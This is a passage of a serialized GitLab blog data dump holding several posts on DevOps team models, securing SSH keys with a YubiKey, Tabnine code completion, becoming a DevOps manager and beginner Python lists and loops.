Dockerfiles\"](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/).\n\n## Pipeline optimization is part science, part art\n\nYou should approach your pipeline optimization efforts through a continuous improvement lens. This process is part science, part art as there aren't any quick solutions that you can apply and get your ideal result.\n\nI encourage you to test, document, and analyze the results when it comes to pipeline optimization efforts. You try one thing, look for feedback from the metrics of your pipelines, document the results, the changes, and the new architecture (this can happen in GitLab issues and merge requests) so you can extract some learnings, and the cycle starts again.\n\nSmall gains will add up and provide significant improvements at a higher scale. As I mentioned before, look for overall improvements instead of local ones. Now applying these principles to each project (pipeline templates makes it easier to adopt at scale), we can look at how these improvements across projects add up.\n\nRead more: Learn how to [troubleshoot a GitLab pipeline failure](/blog/how-to-troubleshoot-a-gitlab-pipeline-failure/).\n",[4103,1384,1385],{"slug":15081,"featured":6,"template":678},"efficient-pipelines","content:en-us:blog:efficient-pipelines.yml","Efficient Pipelines","en-us/blog/efficient-pipelines.yml","en-us/blog/efficient-pipelines",{"_path":15087,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15088,"content":15094,"config":15099,"_id":15101,"_type":16,"title":15102,"_source":17,"_file":15103,"_stem":15104,"_extension":20},"/en-us/blog/key-organizational-models-for-devops-teams",{"title":15089,"description":15090,"ogTitle":15089,"ogDescription":15090,"noIndex":6,"ogImage":15091,"ogUrl":15092,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15092,"schema":15093},"5 key organizational models for DevOps teams","DevOps teams can be organized in multiple ways. Identify the one that fits your organization.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667194/Blog/Hero%20Images/2020-11-19-integration-management-header.jpg","https://about.gitlab.com/blog/key-organizational-models-for-devops-teams","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 key organizational models for DevOps teams\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Johanna Ambrosio\"}],\n        \"datePublished\": \"2022-03-08\",\n      }",{"title":15089,"description":15090,"authors":15095,"heroImage":15091,"date":15096,"body":15097,"category":8943,"tags":15098},[14930],"2022-03-08","\nIf you’re just getting started with DevOps, there are several team organizational models to consider.\n\nA few key points to keep in mind as you design your team structure:\n\n- The organizational model you start with should change as you add more people, [different DevOps roles](/blog/how-to-build-out-your-devops-team/), and more projects. Expect to keep iterating as you go.\n\n- The ultimate goal of DevOps is to spread the message, tools, and processes throughout the company so that, eventually, everyone is working “the DevOps way.” At some point, if your approach is successful, DevOps as a separate group will disappear.\n\n- The model you begin with should depend on how many projects or products you’re working on, the size of your teams, and the size of your company. \n\n- Keep your team size small, with three to eight people max. Some experts say up to 12 is OK, but that’s a bit large for the [“two-pizza” rule](https://landing.directorpoint.com/blog/amazon-two-pizza-rule/). \n\n## Why building a DevOps team is important\n\nEven though DevOps is arguably the most efficient way to get software out the door, no one actually ever said it’s easy. So building the right DevOps team is a critical step in the process. \n\nThe right DevOps team will serve as the backbone of the entire effort and will model what success looks like to the rest of the organization. There is no “one size fits all” however – each team will be different depending on needs and resources.\n\n## 5 examples of DevOps team models\n\nHere are five DevOps organizational models to consider as you get going, according to Matthew Skelton and Manuel Pais, experts who wrote a book called Team Topologies about this topic and then updated the book with a [related microsite](https://web.devopstopologies.com). Their work is a must-read for anyone who’s trying to figure out which DevOps structure is best for their company.\n\n### **1. Dev and ops co-exist, with a “DevOps” group in between**\n\nThis can be a good interim strategy until you can build out a full DevOps program. The DevOps team translates between the two groups, which pretty much stay in place as they currently are, and DevOps facilitates all work on a project. \n\nJust don’t keep this structure in place too long. You don’t want to reinforce the separate silos as they currently exist for any longer than absolutely necessary.\n\n### **2. Dev and ops groups remain separate organizationally but on equal footing**\n \nThis is also a reasonable place to start: Everyone collaborates but can specialize where needed. Common tools will go a long way to helping facilitate good communication. In this model, several dev teams can be working on different products or services. \n\nMake sure teams communicate regularly. Invite a rep from each camp to the other’s meetings, for instance. And appoint a liaison to the rest of the company to make sure executives and line-of-business leaders know how DevOps is going, and so dev and ops can be part of conversations about the top corporate priorities.\n\n### **3. Create one team, maybe “no ops”?**\n\nIn this model, a single team has shared goals with no separate functions. The reason it’s called [“no ops”](https://searchitoperations.techtarget.com/definition/NoOps) is because ops is so automated it’s like it doesn’t actually exist. \n\nThis level of automation is so “aspirational” that many experts express caution about this approach. To eliminate any hands-on tasks, teams would need extensive machine learning and artificial intelligence solutions, and a flat, streamlined organization that prioritizes communication and workflow. TL;DR: [NoOps may not ever be a reality](https://www.cio.com/article/220351/what-is-noops-the-quest-for-fully-automated-it-operations.html).\n\nHowever, don’t use this as an excuse to do away with the ops team. You are going to need those folks. Devs can’t do it all.\n\n### **4. Ops as infrastructure consultants**\n\nThis model works best for companies with a traditional IT group that has multiple projects and includes ops pros. It’s also good for those using a lot of cloud services or expecting to do so. \n\nHere, ops acts as an internal consultant to create scalable web services and cloud compute capacity, a sort of mini-web services provider. In our [2021 Global DevSecOps Survey](/developer-survey/), a plurality of ops pros told us this is _exactly_ how their jobs are evolving — out of wrestling toolchains and into ownership of the team’s cloud computing efforts. Dev teams continue to do their work, with DevOps specialists within the dev group responsible for metrics, monitoring, and communicating with the ops team.\n\n### **5. DevOps-as-a-service**\n\nYou may decide your organization just doesn’t have the internal expertise or resources to create your own DevOps initiative, so you should hire an outside firm or consultancy to get started. This [DevOps-as-a-service (DaaS) model](https://medium.com/swlh/pros-and-cons-of-devops-as-a-service-a40b8796533c) is especially helpful for small companies with limited in-house IT skills.\n\nUsing DaaS in the short term offers another advantage: the opportunity to learn from your outsourcer how to eventually create your own internal DevOps team.\n\nMake sure you understand the outsourcer’s security landscape and your own responsibilities in this area, as you would with any outside firm. The difference here is that the team, processes, and software the outsourcer plans to use will be deeply embedded in your company’s infrastructure — it’s not something you can easily switch from. Also ensure that the outsourcer’s tools will work with what you already have in-house.\n\nFinally, keep a keen eye on costs and understand how the outsourcer will charge for its services.\n\n## Other organizational DevOps schemes include:\n\nA two-tier model, with a business systems team responsible for the end-to-end product cycle and platform teams that manage the underlying hardware, software, and other infrastructure. \nDevOps and SRE groups are separate, with DevOps part of the dev team and Site Reliability Engineers part of ops. This model requires a mature operations and development culture. \n\nWhichever organization model you choose, remember the idea of DevOps is to break down silos, not create new ones. Constantly reevaluate what’s working, what’s not, and how to deliver most effectively what your customers need.\n\n## Key characteristics of a successful DevOps team\n\nHere are some key charecteristics that you can expect to find in a well running DevOps team:\n\n* **Collaboration.** A DevOps team may have as few as 2 members to as many as 12 or more. \n* **Communication.** Nothing creates more bottlenecks on a team than members who don’t talk to each other, and DevOps projects always have a million moving parts. Document progress in a project thread, have regular meeting syncs or check in via Slack to keep team members up to speed and discuss any hurdles to avoid burnout or major delays. \n* **Team autonomy.** Work together, but also be able to work alone.\n* **Willingness to iterate.** Nothing will be perfect the first time, or even the second. In fact, a lot of DevOps work is just about making continuous, as-needed improvements to existing work, or replacing something that is no longer working for the original purpose. Keep on iterating!\n* **Fast feedback, high empathy and trust.** DevOps can feel like a whirlwind. Be mindful and respectful of the difficulties your teammates may be dealing with, be ready to give and receive feedback quickly, and trust each other for an optimal outcome and pleasant work environment.\n\n## Getting started with DevOps\n\nThere are a few steps to follow in order to get started on the planning and development of your DevOps team. Here are some pointers:\n\n**1. Create a roadmap.** Start with the basic goals, add in wish list items, and write it all out attaching a timeframe as needed. The map should include a list of action items broken down by priority and who is responsible for completing each step.\n\n**2. Ensure buy-in, and maybe add a champion.** Evangelize DevOps to the entire organization. Some teams find having a dedicated DevOps champion can help. \n\n**3. Select the solution.** Consider the budget, needs, and knowledge levels to make the best technology choices for the team.\n\n**4. Automate processes where appropriate.** DevOps doesn’t work without automation and for many teams, automation is the top priority. Look at areas where you can reduce manual work.\n\n**5. Set up monitoring.** Have a process for monitoring security, metrics, and everything in between.\nTrack progress. Always be able to give stakeholders a status update.\n\n_Johanna Ambrosio is a technology writer in the greater Boston area._\n",[4103,2368,9297],{"slug":15100,"featured":6,"template":678},"key-organizational-models-for-devops-teams","content:en-us:blog:key-organizational-models-for-devops-teams.yml","Key Organizational Models For Devops Teams","en-us/blog/key-organizational-models-for-devops-teams.yml","en-us/blog/key-organizational-models-for-devops-teams",{"_path":15106,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15107,"content":15113,"config":15118,"_id":15120,"_type":16,"title":15121,"_source":17,"_file":15122,"_stem":15123,"_extension":20},"/en-us/blog/how-to-protect-gitlab-connected-ssh-key-with-yubikey",{"title":15108,"description":15109,"ogTitle":15108,"ogDescription":15109,"noIndex":6,"ogImage":15110,"ogUrl":15111,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15111,"schema":15112},"How to protect GitLab-connected SSH key with Yubikey","Add a layer of security to SSH keys by restricting physical access to YubiKey.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667202/Blog/Hero%20Images/gitlabultimatesecurity.jpg","https://about.gitlab.com/blog/how-to-protect-gitlab-connected-ssh-key-with-yubikey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to protect GitLab-connected SSH key with Yubikey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2022-03-03\",\n      }",{"title":15108,"description":15109,"authors":15114,"heroImage":15110,"date":15115,"body":15116,"category":734,"tags":15117},[11790],"2022-03-03","\n[Two-factor authentication](https://docs.gitlab.com/ee/security/two_factor_authentication.html) is one of the best defenses we have as individuals for protecting our accounts and credentials. But not all 2FA methods are created equal. For example, SMS is vulnerable to [SIM-swapping](https://www.ic3.gov/Media/Y2022/PSA220208) attacks and thus doesn't always provide the extra security we would like.\n\nIdeally, everything I  want to connect to would use 2FA with dedicated 2FA hardware. With GitLab 14.8, you can now use 2FA hardware to protect your SSH keys, as I explain below.  \n\n## 2FA and SSH keys\n\nState-of-the-art 2FA uses a physical hardware device – often FIDO/U2F hardware – to verify your presence at the time of authentication. This provides two distinct factors as a means of authentication: something you know (your username and password, for instance) with something you have (the physical device). I have two [YubiKey](https://www.yubico.com/works-with-yubikey/catalog/gitlab/) devices that I use for this purpose – one that is always in a safe in my house and one that I generally keep with me and the computer I'm using to do work. And I have everything I can secure using this method, including my GitLab account.\n\nAnd that does a great job of securing my access to GitLab, the application front end, and the ability to create and modify API keys. But there is another way to authenticate to a git server: SSH keys. In this case, there's only one factor of authorization because the SSH key is on my computer. So you can imagine how excited I was to hear that GitLab added support for `ecdsa-sk` and `ed25519-sk` key types in [GitLab 14.8](/releases/2022/02/22/gitlab-14-8-released/#support-for-ecdsa-sk-and-ed25519-sk-ssh-keys).\n\n### What are `ecdsa-sk` and `ed25519-sk`?\n\nThese two new keys are close to the existing `ecdsa` (Elliptic Curve Digital Signature Algorithm) and `ed25519` (Edwards Curve Digital Signature Algorithm) keys already supported. But that `-sk` at the end adds the ability to verify the key with a FIDO/U2F device. \"SK\" here stands for \"security key\". [OpenSSH 8.2](https://www.openssh.com/txt/release-8.2) added this key type to the supported keys it can generate, interacting with the hardware device to authenticate user presence before allowing the key to be used.\n\nHowever, I still had a few things to do to be ready to use the new keys.\n\n## Updating OpenSSH \nMy daily driver computer is a 2021 iMac running macOS Big Sur version 11.6. When I ran to it to generate this new key, I encountered a problem. Supposedly my version of SSH didn't support `-sk` keys!\n\nNow, your mileage may vary here, but I was able to update the version of SSH my Mac uses by default by first running `brew install openssh`, which successfully installed OpenSSH 8.8. But when I ran `ssh -V` it still showed version 8.1. So how could I get the system to use the newly installed OpenSSH instead?\n\nThe easiest way I could think of to do that was to put the Homebrew version first in the $PATH variable. But where is that path? Luckily, I was able to find that (`/opt/homebrew/opt/openssh`) by running this command:\n\n`brew --prefix openssh`\n\nOnce I updated my $PATH variable to have that at the front, I got the desired outcome:\n\n```bash\n$  which ssh\n/opt/homebrew/opt/openssh/bin/ssh\n\n$ ssh -V\nOpenSSH_8.8p1, OpenSSL 1.1.1m  14 Dec 2021\n```\n\n## Generating the key\nNow that I was using the correct version of SSH, I was able to create my `ecdsa-sk` key by running: \n\n```bash\nssh-keygen -t ecdsa-sk -f ~/.ssh/id_ecdsa_sk\n```\n\nNow, the specific device I have only supports ECDSA and not EdDSA, which is why I went with `ecdsa-sk`. There also is an option to have the key reside ON the device itself (if supported by your hardware) with the `-O resident` flag like this:\n\n```bash\n$ ssh-keygen -t ecdsa-sk -O resident -f ~/.ssh/id_ecdsa_sk\n\nEnter PIN for authenticator:\nYou may need to touch your authenticator (again) to authorize key generation.\nEnter passphrase (empty for no passphrase):\nEnter same passphrase again:\nYour identification has been saved in /Users/brendan/.ssh/id_ecdsa_sk\nYour public key has been saved in /Users/brendan/.ssh/id_ecdsa_sk.pub\n```\n\nGenerating a resident key will make sharing this key with a new computer if and when that happens much easier. If you have a YubiKey like me, you can set the FIDO2 PIN using the [YubiKey Manager](https://www.yubico.com/support/download/yubikey-manager/) software.\n\n## Adding the key to GitLab\nNow that I had the complex parts covered, all that was left was to add the key to GitLab. I went to my [SSH settings](https://gitlab.com/-/profile/keys) on GitLab.com and (bravely) deleted my old SSH key and added the `.pub` public part of my key to my profile.\n\nAnd it was that simple! Now every time I go to interact with GitLab.com, I'm prompted to confirm my presence by touching the YubiKey device attached to my computer:\n\n```bash\ngit clone git@gitlab.com:brendan/website.git\nCloning into 'website'...\nConfirm user presence for key ECDSA-SK SHA256:OZSZGwbnnbc...\n\ngit add .\ngit commit -m \"A new commit\"\ngit push\nConfirm user presence for key ECDSA-SK SHA256:OZSZGwbnnbc...\n```\n\nThat small but essential change gives me peace of mind that even if someone could somehow get my private SSH key, I would still be protected by having physical access restricted to my YubiKey.\n\n",[4103,674,696],{"slug":15119,"featured":6,"template":678},"how-to-protect-gitlab-connected-ssh-key-with-yubikey","content:en-us:blog:how-to-protect-gitlab-connected-ssh-key-with-yubikey.yml","How To Protect Gitlab Connected Ssh Key With Yubikey","en-us/blog/how-to-protect-gitlab-connected-ssh-key-with-yubikey.yml","en-us/blog/how-to-protect-gitlab-connected-ssh-key-with-yubikey",{"_path":15125,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15126,"content":15132,"config":15138,"_id":15140,"_type":16,"title":15141,"_source":17,"_file":15142,"_stem":15143,"_extension":20},"/en-us/blog/bringing-ai-gitlab-repository",{"title":15127,"description":15128,"ogTitle":15127,"ogDescription":15128,"noIndex":6,"ogImage":15129,"ogUrl":15130,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15130,"schema":15131},"GitLab and Tabnine: AI-powered code completion for GitLab repositories","Development teams can get a custom AI model based on their private code that enables knowledge sharing, reduced technical debt, and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682249/Blog/Hero%20Images/blog_2757.png","https://about.gitlab.com/blog/bringing-ai-gitlab-repository","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab and Tabnine: AI-powered code completion for GitLab repositories\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brandon Jung\"}],\n        \"datePublished\": \"2022-03-02\",\n      }",{"title":15127,"description":15128,"authors":15133,"heroImage":15129,"date":15135,"body":15136,"category":734,"tags":15137},[15134],"Brandon Jung","2022-03-02","\n\nAs AI continues to become more ubiquitous throughout [every aspect of our lives](https://www.tabnine.com/blog/is-ai-pair-programming-really-going-to-help-me/), it should come as little surprise that programming has picked it up as a tool to help make developers more productive. Tabnine is integrating with GitLab to bring Tabnine's AI-powered code completion technology to GitLab repositories to improve the accuracy and speed of code development.\n\nWe believe that increased development velocity improves the developer’s working experience, accelerates feature release cadence, and enables teams to respond faster to market opportunities. Users can now get a custom AI model based on their private code that enables: \n\n- Knowledge sharing\n- Reduced technical debt\n- Faster code reviews\n- Faster onboarding and time to value\n\nThe value of a custom model is about helping a specific team with a specific mission be more productive. A team comes in many forms from the most simple [two pizza box team](https://docs.aws.amazon.com/whitepapers/latest/introduction-devops-aws/two-pizza-teams.html) to a large software company with hundreds of internal developers as well as thousands of external developers who contribute to a large shared [open source code base](/community/contribute/). What all these teams have in common is that they have a shared interest in a common code base. This code base for any digital company is one of the most important strategic assets and anything that helps them build it faster and more consistently requires serious consideration.\n\nGitLab has a robust platform for hosting code for private teams, so it is natural that we wanted to make it easier for teams to bring their development models together. Developers can now automate the creation of a custom model based on their private code. The process is outlined below and is seamless for the user as Tabnine will build, validate, and upload the private model for the whole team. New developers can now be added to the team and will immediately receive custom suggestions based on the codified best practices of the team. \n\nThis is the first of ongoing work that Tabnine is doing to support developers together with GitLab and we look forward to getting your feedback on how we can make it better for you individually and for your team.\n\nHere's how to get started: \n\n1. As a Tabnine for Teams user, login to [AI Code Completions for Developers & Teams](https://app.tabnine.com/profile/) \n2. Navigate to the “Team AI” tab\n3. Connect to your GitLab repositories\n4. Tabnine will build, test, and upload your private team model\n5. Enjoy your personalized Tabnine AI assistant\n\n![Getting started](https://about.gitlab.com/images/blogimages/tabnine1.png){: .shadow}\n\nThe GitLab partnership represents Tabnine's latest step towards the goal of an end-to-end development platform supporting all developers regardless of working environments, coding languages, or IDEs. [Share your feedback with Tabnine](https://forms.gle/vCHK5QRoyR5xt6Jg8) on our AI-powered code completion technology.\n\n",[4103,736,1207],{"slug":15139,"featured":6,"template":678},"bringing-ai-gitlab-repository","content:en-us:blog:bringing-ai-gitlab-repository.yml","Bringing Ai Gitlab Repository","en-us/blog/bringing-ai-gitlab-repository.yml","en-us/blog/bringing-ai-gitlab-repository",{"_path":15145,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15146,"content":15152,"config":15157,"_id":15159,"_type":16,"title":15160,"_source":17,"_file":15161,"_stem":15162,"_extension":20},"/en-us/blog/how-to-move-from-ic-to-devops-manager-and-succeed",{"title":15147,"description":15148,"ogTitle":15147,"ogDescription":15148,"noIndex":6,"ogImage":15149,"ogUrl":15150,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15150,"schema":15151},"How to move from IC to DevOps manager and succeed","Transitioning from great DevOps engineer to great DevOps manager isn't always easy. Here are some tools to help you get a management role and keep it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663753/Blog/Hero%20Images/managers-more-optimistic-than-developers.jpg","https://about.gitlab.com/blog/how-to-move-from-ic-to-devops-manager-and-succeed","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to move from IC to DevOps manager and succeed\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lauren Gibbons Paul\"}],\n        \"datePublished\": \"2022-03-01\",\n      }",{"title":15147,"description":15148,"authors":15153,"heroImage":15149,"date":15154,"body":15155,"category":8943,"tags":15156},[14386],"2022-03-01","\nAs a seasoned [DevOps engineer](https://about.gitlab.com/topics/devops/what-is-a-devops-engineer/), an individual contributor (IC) role might eventually start to chafe. Here are 5 strategies to make the case that you're ready for a DevOps manager role, and 3 key things to keep in mind once you get there.\n\n## DevOps manager: More than just the title\n\nJust as many organizations don’t have dedicated DevOps teams – they just do DevOps – many will not have a title that sounds like “DevOps manager.” It is not uncommon for your current position to morph into a managerial role, so let your manager know you’re interested. Also, it never hurts to come into that conversation with a transition plan already in hand.\n\nUntil then, hone the skills that make for a good manager of any type – things like being a good communicator, mentoring others, and fostering collaboration. [Collaboration is a must-have](https://www.techrepublic.com/article/how-to-become-a-devops-manager-5-tips/#:~:text=A%20good%20DevOps%20manager%20encourages,learn%20and%20develop%2C%20Kromhout%20said) in a management role. \n\n## DevOps manager skills\n\nDevOps manager skills include deep technical expertise in at least one area, such as systems architecture, along with broad technical experience. Ideally, a manager will have the ability to program in multiple languages to give relevant feedback and better understand the tools and support team members need. You’ll also need to understand how to respond to security incidents. \n\n[Sharpening and adding to your technical skills](https://victorops.com/blog/being-a-devops-team-manager) – and learning new ones – are some of the best things you can do to make yourself more attractive as a potential DevOps manager. Not only will new skills help [advance your career](/blog/the-top-skills-you-need-to-get-your-devops-dream-job/), they’ll help your paycheck even if you decide to remain an individual contributor. And don’t forget the “impress your boss” benefits of being a [continuous learner](/blog/best-advice-for-your-devops-career-keep-on-learning/).\n\n## Understand the expectations (and implications) of management\n\nWhen examining DevOps manager roles and responsibilities, job number one is mediating the interpersonal skirmishes among team members and with other groups. Alone, that can be challenging enough, but it’s just the starting point. \n\nBefore you take on the role, make sure you understand what is involved. A DevOps manager will be expected to help set goals and timelines, oversee project management, obtain needed tools and skills, understand the work teams are doing, advocate for team interests within the wider organization, evangelize, and generally be a cheerleader for anyone who needs it. And don’t forget, [cheerleading is serious business](https://www.agileconnection.com/article/management-myth-11-team-needs-cheerleader) in many organizations. A DevOps manager also needs a good network, and to be able to bring people onboard to fill skills gaps.  \n\n## Find a mentor\n\nMany companies offer mentorship programs, including [GitLab](/handbook/people-group/learning-and-development/mentor/), and they can be a tremendous resource for someone looking to grow into a management role. A mentor doesn't have to be a technology leader – learning management from someone in marketing, sales, or finance is useful as well.\n\n## Volunteer for an interim role\n\nWhether it's the \"great resignation\" or simply the usual tech churn, turnover can mean teams need \"interim\" leaders. Being an interim manager can be an opportunity to get your feet wet, help out in an area that might not be completely familiar, and show your willingness to stretch, learn new things, and be a true team player. Obviously, many interim roles don't turn into permanent ones, but they still offer experience that can help build a case for a promotion to management. \n\n## You're a manager now\n\nOnce you’ve stepped into a DevOps manager role, here are three ways to be successful:\n\n1. **Lead the change**. The concept of DevOps obviously means that development and operations are working together, but it also requires working closely with other functional areas with a culture of openness. Good managers break down organizational silos and help people assimilate and embrace the changes needed for successful DevOps. The best DevOps managers are able to bridge communication gaps, tearing down the walls between functions – especially developers, IT operations, and security – and strive to instill a sense of [shared purpose and empathy](https://www.toptal.com/devops/bridging-gaps-devops-communication#:~:text=What%20is%20DevOps%20in%20simple,using%20common%20processes%20and%20tools).\n\n2. **Focus on the processes and the metrics**. A successful DevOps manager is able to toggle quickly between personnel and process. Fine-tuning the [CI/CD pipelines](/topics/ci-cd/), test automation, multi-cloud options, and cutting-edge technology choices like Kubernetes and AI/ML will require a continuous improvement mentality and a serious reliance on metrics. If you can’t measure performance, it’s tough to improve it. Also, by focusing on incremental performance increases, a DevOps manager not only increases development velocity, but is in a good place [to plan for the future](https://www.techopedia.com/devops-managers-explain-what-they-do/2/33379).  \n\n3. **Don’t overlook training for the team**. Technical skills are the lifeblood of the DevOps team, and they need constant updating. But most people feel they are too busy to take time for training [and some of it may not be particularly compelling](https://www.agileconnection.com/article/management-myth-9-we-have-no-time-training). Your challenge as a DevOps manager is to first convince your managers that the training is justified and then to persuade your team to make time for it. Find the right kind of training and offer it to the people who need it, when they need it. Delivering learning in chunks of five to 10 minutes, also known as microlearning, has been proven much more engaging for employees and drives retention. So, look for training employees can schedule and do on their own time and terms – and ideally [via mobile devices](https://elearningindustry.com/microlearning-vs-macrolearning-for-corporate-training#:~:text=According%20to%20research%2C%20microlearning%20is,bringing%20learning%20to%20the%20employees).\n",[4103,7715,2368],{"slug":15158,"featured":6,"template":678},"how-to-move-from-ic-to-devops-manager-and-succeed","content:en-us:blog:how-to-move-from-ic-to-devops-manager-and-succeed.yml","How To Move From Ic To Devops Manager And Succeed","en-us/blog/how-to-move-from-ic-to-devops-manager-and-succeed.yml","en-us/blog/how-to-move-from-ic-to-devops-manager-and-succeed",{"_path":15164,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15165,"content":15170,"config":15174,"_id":15176,"_type":16,"title":15177,"_source":17,"_file":15178,"_stem":15179,"_extension":20},"/en-us/blog/learn-python-with-pj-part-2",{"title":15166,"description":15167,"ogTitle":15166,"ogDescription":15167,"noIndex":6,"ogImage":13867,"ogUrl":15168,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15168,"schema":15169},"Learn Python with Pj! Part 2 - Lists and loops","Follow along as our education evangelist Pj Metz learns about lists and loops in the second of this multipart series.","https://about.gitlab.com/blog/learn-python-with-pj-part-2","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Learn Python with Pj! Part 2 - Lists and loops\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"PJ Metz\"}],\n        \"datePublished\": \"2022-03-01\",\n      }",{"title":15166,"description":15167,"authors":15171,"heroImage":13867,"date":15154,"body":15172,"category":734,"tags":15173},[12593],"\nWe’re back with another article about my journey to learn Python. Check out the [first article](/blog/learn-python-with-pj-part-1/) if you want to see what I’ve already learned. Today we’re talking about lists and loops, two important parts of all programming languages. Let’s check them out. \n\n## Lists\n\nLists are a way to store information that can be accessed later. They are similar to arrays in other languages. A list is a named collection of other elements inside brackets that can be accessed by an index number. \n\n``` python\n#I will be using this list for all our examples, and, yes, these are some of my favorite musical acts pulled directly from my Spotify 2021 wrapped. \nfavorite_music = ['The Midnight', 'Night Tempo', 'St. Lucia'] \n```\n\nIn this list, each element of the list can be accessed by an index number. Like many other languages, python is zero-indexed, meaning the first element is at index 0. So favorite_music[0] is “The Midnight”, favorite_music[1] is “Night Tempo”, and so on. \n\nSomething interesting about lists in Python is that a negative 1 index number will give you the last element in the list. Negative 2 will give you the second to last, and so on. As far as I can tell, this isn’t possible in other languages: Negative 1 indices will return errors or `undefined` in arrays or lists in other languages. I imagine a scenario where we’ve just added something to a list and need to access it immediately. We could use the negative index number to access the most recently added element. \n\nPython comes with several built-in methods to be used with lists. Some of them have the list passed in as an argument, some are added to the list with a `.` so it can be used. These methods will change the list or return some kind of information about the list. Below are a few I found useful, but a more complete explanation of available methods is [available here](https://docs.python.org/3/tutorial/datastructures.html). \n\n### .pop()\n\nPop allows you to remove a specific element in a list as well as return it at the same time, meaning this can be set to a variable. To specify the element, use the desired index number inside the parentheses to remove it. \n\n```python\nbest_synthwave = favorite_music.pop(0)\n\n#returns ‘['Night Tempo', 'St. Lucia']’\nprint(favorite_music)\n\n#returns 'The Midnight'\nprint(best_synthwave)\n```\n### .append() and .insert()\n\nAppend allows you to add an element to a list. Put the element in the parenthesis. The element is added to the end of the list. Insert allows you to say exactly where you would like the element inserted. The first argument is the index you would like to replace, and the second argument is the element to insert. \n\n```python\nfavorite_music.append('Turnstile') \n\n#This will print ['The Midnight', 'Night Tempo', 'St. Lucia', 'Turnstile']\nprint(favorite_music)\n\nfavorite_music.insert(1, 'Kendrick Lamar')\n#This will print 'The Midnight', 'Kendrick Lamar', 'Night Tempo', 'St. Lucia', 'Turnstile'] \n#Turnstile is still there since we appended it before. \nprint(favorite_music)\n```\n\n### len()\n\nLen gets the length of the object passed into it. This is important since you can know exactly how many elements are in a list, which is useful for control flow as well as loops. \n\n```python\nlength_of_music = len(favorite_music)\n\n#working with the original list will print “3”\nprint(length_of_music)\n```\nNotice that it prints how many elements are in the list, not how many indices. I have to work to make sure to keep those two ideas separate. So there are three elements in the list, but the indices are [0], [1], and [2]. \n\n\n## Loops\n\nLoops work very much the same way they do in other languages, but like I’ve seen with the rest of Python, the syntax is more readable and the code just looks a bit cleaner. The two main ways to use loops with Python are `for` and `while`. \n\n### for\n\nFor is used when you want to iterate through each element in an object. The syntax you use here creates a kind of one-time use variable that is then used in the code block in a variety of ways. Let’s say you want to print each band from the favorite_music list from before. \n\n```python\nfor band in favorite_music:\n  print(band)\n```\n\nThis would print each band on its own line. If you call print() on favorite_music, it would print the array inside of brackets. You can perform logic inside of for loops to only return certain items. Say you want to only print bands that have “night” in the name:\n\n```python\nfor band in favorite_music:\n    lower_case_band = band.lower()\n    if lower_case_band.__contains__('night'):\n      print(band)\n```\n\nNote: I put all the strings into lower case so we could match cases. Also, I found the contains method on the internet and the example had two underscores on either side. It made my code work whereas without the underscores it did not work. Like I said in the first article, I’m new here and don’t know why it did that.\n\n**EDIT March 7, 2022:** According to commenter \"Glen666\" in the comments, the easier way to check if something is contained in another object is to use the `in` operator. It would look like this: \n\n```python\nfor band in favorite_music:\n  lower_case_band = band.lower()\n  if \"night\" in lower_case_band:\n    print(band)\n```\nThanks for catching this. I hadn't learned `in` yet so this makes it a bit easier! \n\n### while\n\nWhile creates a loop that goes as long as certain criteria are being satisfied, usually a logic expression. If you want some code to run six times, you could use a while loop. \n\n```python\ni = 0\n#This prints the string below 6 times. \nwhile i \u003C 7:\n  print('The Midnight is my favorite band of all time.')\n  i += 1\n```\n\nThis is useful if you want code to run the whole time some circumstance is true, whether it’s a date, another process is running, or anything of the sort. \n\n**EDIT March 7, 2022:** Thanks to user \"magicolf\" in the comments! They let me know that there's an error here where it prints 7 times instead of 6. Because i is declared as `0` first, the loop will actually print seven times. It's easy to make mistakes like this all the time, so I appreciate you letting me know, magicolf! \n\nLoops are some of my favorite things to write so far. It’s like a little puzzle to figure out when you need to iterate through a list or string to make something happen at a specific time. The hardest part about loops is getting used to the logic of it. Python made this easier for me in that loops feel very natural to read. On top of that, I’m getting used to the indentation that I felt was so strange last time. I’ve spent about 30 or so hours working on it so far, and It’s starting to feel very natural. Hopefully, I can keep this up as we move on to the [next learning modules](https://about.gitlab.com/blog/learn-python-with-pj-part-3/)! \n\n",[7715,4103,9297],{"slug":15175,"featured":6,"template":678},"learn-python-with-pj-part-2","content:en-us:blog:learn-python-with-pj-part-2.yml","Learn Python With Pj Part 2","en-us/blog/learn-python-with-pj-part-2.yml","en-us/blog/learn-python-with-pj-part-2",{"_path":15181,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15182,"content":15188,"config":15195,"_id":15197,"_type":16,"title":15198,"_source":17,"_file":15199,"_stem":15200,"_extension":20},"/en-us/blog/parent-child-vs-multi-project-pipelines",{"title":15183,"description":15184,"ogTitle":15183,"ogDescription":15184,"noIndex":6,"ogImage":15185,"ogUrl":15186,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15186,"schema":15187},"CI/CD patterns with parent-child and multi-project pipelines","Parent-child pipelines inherit a lot of the design from multi-project pipelines, but they also have differences that make them 